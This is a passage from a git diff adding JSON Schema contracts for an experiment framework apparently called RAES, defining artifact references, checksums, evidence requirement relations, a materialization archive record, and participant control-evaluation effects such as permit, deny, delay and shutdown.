1, + "title": "Relation Id", + "type": "string" + }, + "relation_kind": { + "enum": [ + "refine", + "extend" + ], + "title": "Relation Kind", + "type": "string" + }, + "relation_version": { + "minLength": 1, + "title": "Relation Version", + "type": "string" + }, + "scope": { + "enum": [ + "task", + "run", + "study" + ], + "title": "Scope", + "type": "string" + } + }, + "required": [ + "relation_id", + "relation_version", + "relation_kind", + "scope", + "authority_ref", + "base_scenario_ref", + "base_requirement_address", + "capture_spec_ref", + "capture_requirement_ref", + "rationale" + ], + "title": "ExperimentEvidenceRequirementRelationModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Evidence requirement relations must resolve an exact immutable SDL declaration and a separately identified capture requirement. Refinements preserve every declared base dimension and strengthen at least one governed dimension; extensions remain independent obligations.", + "id": "evidence-requirement-relation-lineage-valid", + "inputs": [ + { + "contract_id": "sdl-authoring-input-v1", + "instance_path": "#/evidence_requirements" + }, + { + "contract_id": "experiment-capture-spec-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.validate_evidence_requirement_relations" + } + ] + }, "ExperimentEvidenceSatisfactionReferenceModel": { "additionalProperties": false, "description": "Evidence concept reference that an artifact claims to satisfy.", @@ -994,6 +1184,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", @@ -1142,6 +1333,68 @@ "title": "ExperimentScenarioReferenceModel", "type": "object" }, + "ExperimentScenarioSnapshotReferenceModel": { + "additionalProperties": false, + "description": "Reference constrained to a sealed scenario snapshot.", + "properties": { + "ref_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Digest" + }, + "ref_id": { + "minLength": 1, + "title": "Ref Id", + "type": "string" + }, + "ref_kind": { + "const": "scenario-snapshot", + "title": "Ref Kind", + "type": "string" + }, + "ref_path": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Path" + }, + "ref_version": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Version" + } + }, + "required": [ + "ref_kind", + "ref_id" + ], + "title": "ExperimentScenarioSnapshotReferenceModel", + "type": "object" + }, "ExperimentSplitAndLeakageControlsModel": { "additionalProperties": false, "anyOf": [ @@ -2462,6 +2715,13 @@ "evaluation_protocol": { "$ref": "#/$defs/ExperimentEvaluationProtocolModel" }, + "evidence_requirement_relations": { + "items": { + "$ref": "#/$defs/ExperimentEvidenceRequirementRelationModel" + }, + "title": "Evidence Requirement Relations", + "type": "array" + }, "intended_use": { "minLength": 1, "title": "Intended Use", @@ -2563,6 +2823,18 @@ "level": "error", "validator": "raes_contracts.contracts.validation_disclosure.validate_carrier_validation_basis_disclosures" }, + { + "description": "Task-scoped evidence requirement relations must identify this exact task and scenario snapshot.", + "id": "task-evidence-requirement-relation-owner-valid", + "inputs": [ + { + "contract_id": "experiment-task-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.ExperimentTaskModel._validate_task_validation_basis_disclosures" + }, { "description": "Task artifact_refs created_at values must be valid RFC 3339 date-times, including only known valid UTC leap-second instants.", "id": "task-archival-times-rfc3339-valid", diff --git a/contracts/schemas/experiment-core/materialization-archive-record-v1.json b/contracts/schemas/experiment-core/materialization-archive-record-v1.json new file mode 100644 index 000000000..ced1f209a --- /dev/null +++ b/contracts/schemas/experiment-core/materialization-archive-record-v1.json @@ -0,0 +1,355 @@ +{ + "$defs": { + "ExperimentArtifactRefModel": { + "additionalProperties": false, + "description": "Reference to an artifact that supports a task, run, apparatus, or study.", + "properties": { + "artifact_id": { + "minLength": 1, + "title": "Artifact Id", + "type": "string" + }, + "checksum": { + "$ref": "#/$defs/ExperimentChecksumModel" + }, + "created_at": { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Created At", + "type": "string" + }, + "description": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Description" + }, + "media_type": { + "minLength": 1, + "title": "Media Type", + "type": "string" + }, + "role": { + "enum": [ + "protocol", + "metric-definition", + "scenario-snapshot", + "materialization-attestation", + "manifest", + "apparatus-evidence", + "observation", + "result", + "analysis", + "report", + "export", + "starter-file", + "evaluator", + "subtask", + "gold-step", + "milestone", + "human-assistance", + "scaffold", + "baseline", + "cost-resource-trace", + "documentation", + "operator-guide", + "configuration", + "profile", + "dataset", + "other" + ], + "title": "Role", + "type": "string" + }, + "satisfies_refs": { + "items": { + "$ref": "#/$defs/ExperimentEvidenceSatisfactionReferenceModel" + }, + "title": "Satisfies Refs", + "type": "array" + }, + "sensitivity": { + "enum": [ + "public", + "internal", + "restricted", + "redacted" + ], + "title": "Sensitivity", + "type": "string" + }, + "size_bytes": { + "minimum": 0, + "title": "Size Bytes", + "type": "integer" + }, + "source": { + "minLength": 1, + "title": "Source", + "type": "string" + }, + "uri": { + "minLength": 1, + "title": "Uri", + "type": "string" + } + }, + "required": [ + "artifact_id", + "role", + "media_type", + "uri", + "checksum", + "size_bytes", + "created_at", + "source", + "sensitivity" + ], + "title": "ExperimentArtifactRefModel", + "type": "object" + }, + "ExperimentChecksumModel": { + "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "algorithm": { + "const": "sha256" + } + }, + "required": [ + "algorithm" + ] + }, + "then": { + "properties": { + "value": { + "pattern": "^[A-Fa-f0-9]{64}$" + } + } + } + }, + { + "if": { + "properties": { + "algorithm": { + "const": "sha384" + } + }, + "required": [ + "algorithm" + ] + }, + "then": { + "properties": { + "value": { + "pattern": "^[A-Fa-f0-9]{96}$" + } + } + } + }, + { + "if": { + "properties": { + "algorithm": { + "const": "sha512" + } + }, + "required": [ + "algorithm" + ] + }, + "then": { + "properties": { + "value": { + "pattern": "^[A-Fa-f0-9]{128}$" + } + } + } + }, + { + "if": { + "properties": { + "algorithm": { + "const": "blake3" + } + }, + "required": [ + "algorithm" + ] + }, + "then": { + "properties": { + "value": { + "pattern": "^[A-Fa-f0-9]{64}$" + } + } + } + } + ], + "description": "Checksum metadata for an experiment-core artifact reference.", + "properties": { + "algorithm": { + "enum": [ + "sha256", + "sha384", + "sha512", + "blake3" + ], + "title": "Algorithm", + "type": "string" + }, + "value": { + "minLength": 1, + "pattern": "^[A-Fa-f0-9]+$", + "title": "Value", + "type": "string" + } + }, + "required": [ + "algorithm", + "value" + ], + "title": "ExperimentChecksumModel", + "type": "object" + }, + "ExperimentEvidenceSatisfactionReferenceModel": { + "additionalProperties": false, + "description": "Evidence concept reference that an artifact claims to satisfy.", + "properties": { + "ref_id": { + "minLength": 1, + "title": "Ref Id", + "type": "string" + }, + "ref_kind": { + "const": "evidence", + "title": "Ref Kind", + "type": "string" + }, + "ref_version": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Version" + } + }, + "required": [ + "ref_kind", + "ref_id" + ], + "title": "ExperimentEvidenceSatisfactionReferenceModel", + "type": "object" + }, + "MaterializationAttestationReferenceModel": { + "additionalProperties": false, + "description": "A descriptive artifact identity, never the original scenario snapshot.", + "properties": { + "ref_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Ref Digest", + "type": "string" + }, + "ref_id": { + "minLength": 1, + "title": "Ref Id", + "type": "string" + }, + "ref_kind": { + "const": "materialization-attestation", + "default": "materialization-attestation", + "title": "Ref Kind", + "type": "string" + }, + "ref_path": { + "minLength": 1, + "title": "Ref Path", + "type": "string" + }, + "ref_version": { + "const": "raes-sdl-materialized/v1", + "default": "raes-sdl-materialized/v1", + "title": "Ref Version", + "type": "string" + } + }, + "required": [ + "ref_id", + "ref_digest", + "ref_path" + ], + "title": "MaterializationAttestationReferenceModel", + "type": "object" + } + }, + "$id": "https://openrae.github.io/rae/schemas/materialization-archive-record-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Published protected bytes and their distinct semantic identity.", + "properties": { + "artifact": { + "$ref": "#/$defs/ExperimentArtifactRefModel" + }, + "operation_id": { + "minLength": 1, + "title": "Operation Id", + "type": "string" + }, + "reference": { + "$ref": "#/$defs/MaterializationAttestationReferenceModel" + }, + "run_id": { + "minLength": 1, + "title": "Run Id", + "type": "string" + } + }, + "required": [ + "reference", + "artifact", + "run_id", + "operation_id" + ], + "title": "MaterializationArchiveRecord", + "type": "object", + "x-raes-invariants": [ + { + "description": "The typed record must join protected immutable published SDL bytes to their size, checksum, semantic identity, run and operation; metadata alone does not prove delivery.", + "id": "materialization-archive-byte-and-lineage-binding", + "inputs": [ + { + "contract_id": "materialization-archive-record-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_processor.planner.validate_materialization_archive_record" + } + ], + "x-raes-semantic-profile": { + "contract_id": "materialization-archive-record-v1", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/participant-runtime/participant-control-evaluation-v1.json b/contracts/schemas/participant-runtime/participant-control-evaluation-v1.json new file mode 100644 index 000000000..210b924d7 --- /dev/null +++ b/contracts/schemas/participant-runtime/participant-control-evaluation-v1.json @@ -0,0 +1,2269 @@ +{ + "$defs": { + "ControlAdvisoryModel": { + "additionalProperties": false, + "properties": { + "assessment": { + "enum": [ + "positive", + "negative", + "abstain" + ], + "title": "Assessment", + "type": "string" + }, + "kind": { + "const": "advisory", + "title": "Kind", + "type": "string" + }, + "sample": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "score": { + "maximum": 1, + "minimum": 0, + "title": "Score", + "type": "number" + } + }, + "required": [ + "kind", + "assessment", + "score", + "sample" + ], + "title": "ControlAdvisoryModel", + "type": "object" + }, + "ControlApplicabilityModel": { + "additionalProperties": false, + "properties": { + "direction": { + "enum": [ + "ingress", + "egress" + ], + "title": "Direction", + "type": "string" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "phase_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Phase Ref", + "type": "string" + }, + "sink_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Sink Ref", + "type": "string" + }, + "subject_kind": { + "$ref": "#/$defs/ParticipantCrossingSubjectKind" + } + }, + "required": [ + "participant_address", + "episode_id", + "direction", + "sink_ref", + "phase_ref", + "subject_kind" + ], + "title": "ControlApplicabilityModel", + "type": "object" + }, + "ControlArtifactReferenceModel": { + "additionalProperties": false, + "description": "Exact out-of-line artifact coordinate, not an artifact/evidence payload.", + "properties": { + "digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Digest", + "type": "string" + }, + "kind": { + "enum": [ + "profile", + "mechanism", + "implementation", + "authority", + "evidence", + "limitation", + "memory", + "apparatus", + "run", + "crossing", + "history", + "provider-state", + "input", + "clock", + "trigger", + "rule", + "inject-delivery", + "disclosure", + "manifest", + "installation", + "control", + "transformation", + "action", + "lifecycle", + "audit", + "receipt", + "projection", + "policy", + "constraint", + "flow-relation" + ], + "title": "Kind", + "type": "string" + }, + "ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Ref", + "type": "string" + }, + "revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Revision", + "type": "string" + } + }, + "required": [ + "kind", + "ref", + "revision", + "digest" + ], + "title": "ControlArtifactReferenceModel", + "type": "object" + }, + "ControlAuditEffectModel": { + "additionalProperties": false, + "properties": { + "audience_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Audience Ref", + "type": "string" + }, + "audit_record": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "kind": { + "const": "audit", + "title": "Kind", + "type": "string" + }, + "retention_policy": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "subject": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + } + }, + "required": [ + "kind", + "subject", + "audit_record", + "audience_ref", + "retention_policy" + ], + "title": "ControlAuditEffectModel", + "type": "object" + }, + "ControlCausalBoundsModel": { + "additionalProperties": false, + "properties": { + "expires_at_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Expires At Order", + "type": "integer" + }, + "max_attempts": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Attempts", + "type": "integer" + }, + "max_depth": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Depth", + "type": "integer" + }, + "max_effects": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Effects", + "type": "integer" + }, + "max_fanout": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Fanout", + "type": "integer" + }, + "max_firings_per_rule": { + "maximum": 1000000, + "minimum": 0, + "title": "Max Firings Per Rule", + "type": "integer" + } + }, + "required": [ + "max_depth", + "max_effects", + "max_fanout", + "max_firings_per_rule", + "max_attempts", + "expires_at_order" + ], + "title": "ControlCausalBoundsModel", + "type": "object" + }, + "ControlCausalCutModel": { + "additionalProperties": false, + "properties": { + "cut_kind": { + "const": "causal_frontier", + "title": "Cut Kind", + "type": "string" + }, + "cut_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Cut Ref", + "type": "string" + }, + "frontier_event_refs": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "minItems": 1, + "title": "Frontier Event Refs", + "type": "array" + }, + "history_domain": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "History Domain", + "type": "string" + }, + "order_model": { + "const": "causal_partial_order", + "title": "Order Model", + "type": "string" + }, + "predecessor_closure_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Predecessor Closure Ref", + "type": "string" + } + }, + "required": [ + "cut_kind", + "cut_ref", + "history_domain", + "order_model", + "frontier_event_refs", + "predecessor_closure_ref" + ], + "title": "ControlCausalCutModel", + "type": "object" + }, + "ControlCompositionModel": { + "additionalProperties": false, + "properties": { + "blockers": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Blockers", + "type": "array" + }, + "contributing_result_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Contributing Result Ids", + "type": "array" + }, + "disposition": { + "enum": [ + "eligible", + "deny", + "withhold", + "unsupported", + "stale", + "failed", + "weakened", + "conflict" + ], + "title": "Disposition", + "type": "string" + }, + "incumbent_gate_disposition": { + "enum": [ + "permit", + "deny", + "withhold", + "unsupported", + "stale", + "failed" + ], + "title": "Incumbent Gate Disposition", + "type": "string" + }, + "incumbent_gate_evidence": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "rule_revision": { + "const": "sem-235/rev1", + "title": "Rule Revision", + "type": "string" + } + }, + "required": [ + "rule_revision", + "disposition", + "blockers", + "contributing_result_ids", + "incumbent_gate_disposition", + "incumbent_gate_evidence" + ], + "title": "ControlCompositionModel", + "type": "object" + }, + "ControlCrossingEffectModel": { + "additionalProperties": false, + "properties": { + "crossing_decision": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "kind": { + "enum": [ + "permit", + "deny", + "withhold" + ], + "title": "Kind", + "type": "string" + }, + "subject": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + } + }, + "required": [ + "kind", + "crossing_decision", + "subject" + ], + "title": "ControlCrossingEffectModel", + "type": "object" + }, + "ControlDecisionModel": { + "additionalProperties": false, + "properties": { + "disposition": { + "enum": [ + "permit", + "deny", + "withhold", + "abstain" + ], + "title": "Disposition", + "type": "string" + }, + "kind": { + "const": "decision", + "title": "Kind", + "type": "string" + }, + "rule": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "kind", + "disposition", + "rule" + ], + "title": "ControlDecisionModel", + "type": "object" + }, + "ControlDelayEffectModel": { + "additionalProperties": false, + "properties": { + "clock": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "earliest_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Earliest Order", + "type": "integer" + }, + "expiry_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Expiry Order", + "type": "integer" + }, + "kind": { + "const": "delay", + "title": "Kind", + "type": "string" + }, + "latest_order": { + "maximum": 1000000, + "minimum": 0, + "title": "Latest Order", + "type": "integer" + }, + "resumption_policy": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "subject": { + "$ref": "#/$defs/ControlSubjectReferenceModel" + } + }, + "required": [ + "kind", + "subject", + "clock", + "earliest_order", + "latest_order", + "expiry_order", + "resumption_policy" + ], + "title": "ControlDelayEffectModel", + "type": "object" + }, + "ControlEffectRequestModel": { + "additionalProperties": false, + "description": "One logical requested effect, independent of retry/cut/transport identity.", + "properties": { + "authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "effect_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Effect Id", + "type": "string" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "key": { + "$ref": "#/$defs/ControlLogicalEffectKeyModel" + }, + "kind": { + "const": "effect-request", + "title": "Kind", + "type": "string" + }, + "phase": { + "enum": [ + "required-predecessor", + "subsequent" + ], + "title": "Phase", + "type": "string" + }, + "predecessor_effect_ids": { + "items": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "type": "string" + }, + "maxItems": 256, + "title": "Predecessor Effect Ids", + "type": "array" + }, + "rule": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "target": { + "discriminator": { + "mapping": { + "audit": "#/$defs/ControlAuditEffectModel", + "delay": "#/$defs/ControlDelayEffectModel", + "deny": "#/$defs/ControlCrossingEffectModel", + "handoff": "#/$defs/ControlHandoffEffectModel", + "inject": "#/$defs/ControlInjectEffectModel", + "interrupt": "#/$defs/ControlLifecycleEffectModel", + "mask": "#/$defs/ControlTransformationEffectModel", + "permit": "#/$defs/ControlCrossingEffectModel", + "request-review": "#/$defs/ControlReviewEffectModel", + "route": "#/$defs/ControlTransformationEffectModel", + "shutdown": "#/$defs/ControlLifecycleEffectModel", + "transform": "#/$defs/ControlTransformationEffectModel", + "withhold": "#/$defs/ControlCrossingEffectModel" + }, + "propertyName": "kind" + }, + "oneOf": [ + { + "$ref": "#/$defs/ControlCrossingEffectModel" + }, + { + "$ref": "#/$defs/ControlTransformationEffectModel" + }, + { + "$ref": "#/$defs/ControlInjectEffectModel" + }, + { + "$ref": "#/$defs/ControlDelayEffectModel" + }, + { + "$ref": "#/$defs/ControlHandoffEffectModel" + }, + { + "$ref": "#/$defs/ControlReviewEffectModel" + }, + { + "$ref": "#/$defs/ControlLifecycleEffectModel" + }, + { + "$ref": "#/$defs/ControlAuditEffectModel" + } + ], + "title": "Target" + } + }, + "required": [ + "kind", + "effect_id", + "key", + "rule", + "authority", + "phase", + "predecessor_effect_ids", + "target", + "evidence" + ], + "title": "ControlEffectRequestModel", + "type": "object" + }, + "ControlEffectiveSupportModel": { + "additionalProperties": false, + "properties": { + "constraints": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "title": "Constraints", + "type": "array" + }, + "context_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Context Digest", + "type": "string" + }, + "declaration_ref": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "declared_level": { + "enum": [ + "exact", + "bounded", + "disclosed_weak", + "unsupported" + ], + "title": "Declared Level", + "type": "string" + }, + "downgrade_authority": { + "anyOf": [ + { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + { + "type": "null" + } + ] + }, + "effective_level": { + "enum": [ + "exact", + "bounded", + "disclosed_weak", + "unsupported" + ], + "title": "Effective Level", + "type": "string" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "feature": { + "const": "participant_modular_control", + "title": "Feature", + "type": "string" + }, + "installation": { + "anyOf": [ + { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + { + "type": "null" + } + ] + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "limitations": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Limitations", + "type": "array" + }, + "status": { + "enum": [ + "resolved", + "missing", + "unknown", + "unsupported", + "stale", + "failed", + "weakened" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "instance_id", + "feature", + "declaration_ref", + "declared_level", + "effective_level", + "status", + "context_digest", + "installation", + "constraints", + "limitations", + "evidence", + "downgrade_authority" + ], + "title": "ControlEffectiveSupportModel", + "type": "object" + }, + "ControlHandoffEffectModel": { + "additionalProperties": false, + "properties": { + "completion_obligation": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "expected_state_revision": { + "maximum": 1000000, + "minimum": 0, + "title": "Expected State Revision", + "type": "integer" + }, + "kind": { + "const": "handoff", + "title": "Kind", + "type": "string" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "prior_controller_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Prior Controller Ref", + "type": "string" + }, + "resulting_controller_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Resulting Controller Ref", + "type": "string" + }, + "transition": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + } + }, + "required": [ + "kind", + "transition", + "participant_address", + "episode_id", + "prior_controller_ref", + "resulting_controller_ref", + "expected_state_revision", + "completion_obligation" + ], + "title": "ControlHandoffEffectModel", + "type": "object" + }, + "ControlInjectEffectModel": { + "additionalProperties": false, + "properties": { + "delivery_ref": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "disclosure_ref": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "episode_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Episode Id", + "type": "string" + }, + "event_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Event Ref", + "type": "string" + }, + "inject_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Inject Ref", + "type": "string" + }, + "kind": { + "const": "inject", + "title": "Kind", + "type": "string" + }, + "participant_address": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Participant Address", + "type": "string" + }, + "result_item_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Result Item Ref", + "type": "string" + }, + "script_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Script Ref", + "type": "string" + }, + "source_item_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Source Item Ref", + "type": "string" + }, + "story_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Story Ref", + "type": "string" + } + }, + "required": [ + "kind", + "delivery_ref", + "inject_ref", + "event_ref", + "script_ref", + "story_ref", + "source_item_ref", + "result_item_ref", + "participant_address", + "episode_id", + "disclosure_ref" + ], + "title": "ControlInjectEffectModel", + "type": "object" + }, + "ControlLifecycleEffectModel": { + "additionalProperties": false, + "properties": { + "expected_revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Expected Revision", + "type": "string" + }, + "kind": { + "enum": [ + "interrupt", + "shutdown" + ], + "title": "Kind", + "type": "string" + }, + "lifecycle_authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "operation": { + "enum": [ + "pause", + "cancel", + "interrupt", + "terminate" + ], + "title": "Operation", + "type": "string" + }, + "target_kind": { + "enum": [ + "participant", + "episode", + "execution", + "workflow", + "run" + ], + "title": "Target Kind", + "type": "string" + }, + "target_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Target Ref", + "type": "string" + } + }, + "required": [ + "kind", + "target_kind", + "target_ref", + "operation", + "lifecycle_authority", + "expected_revision" + ], + "title": "ControlLifecycleEffectModel", + "type": "object" + }, + "ControlLogicalEffectKeyModel": { + "additionalProperties": false, + "properties": { + "firing_epoch": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Firing Epoch", + "type": "string" + }, + "rule_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Rule Id", + "type": "string" + }, + "rule_revision": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Rule Revision", + "type": "string" + }, + "run_ref": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Run Ref", + "type": "string" + }, + "slot": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Slot", + "type": "string" + }, + "trigger_root": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Trigger Root", + "type": "string" + } + }, + "required": [ + "run_ref", + "trigger_root", + "rule_id", + "rule_revision", + "slot", + "firing_epoch" + ], + "title": "ControlLogicalEffectKeyModel", + "type": "object" + }, + "ControlMechanismBindingModel": { + "additionalProperties": false, + "properties": { + "applicability": { + "items": { + "$ref": "#/$defs/ControlApplicabilityModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Applicability", + "type": "array" + }, + "authority": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "configuration_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Configuration Digest", + "type": "string" + }, + "evidence": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence", + "type": "array" + }, + "implementation": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "instance_id": { + "maxLength": 256, + "minLength": 1, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:/@-]*$", + "title": "Instance Id", + "type": "string" + }, + "limitations": { + "items": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "maxItems": 256, + "minItems": 1, + "title": "Limitations", + "type": "array" + }, + "mechanism": { + "$ref": "#/$defs/ControlArtifactReferenceModel" + }, + "memory_scope": { + "$ref": 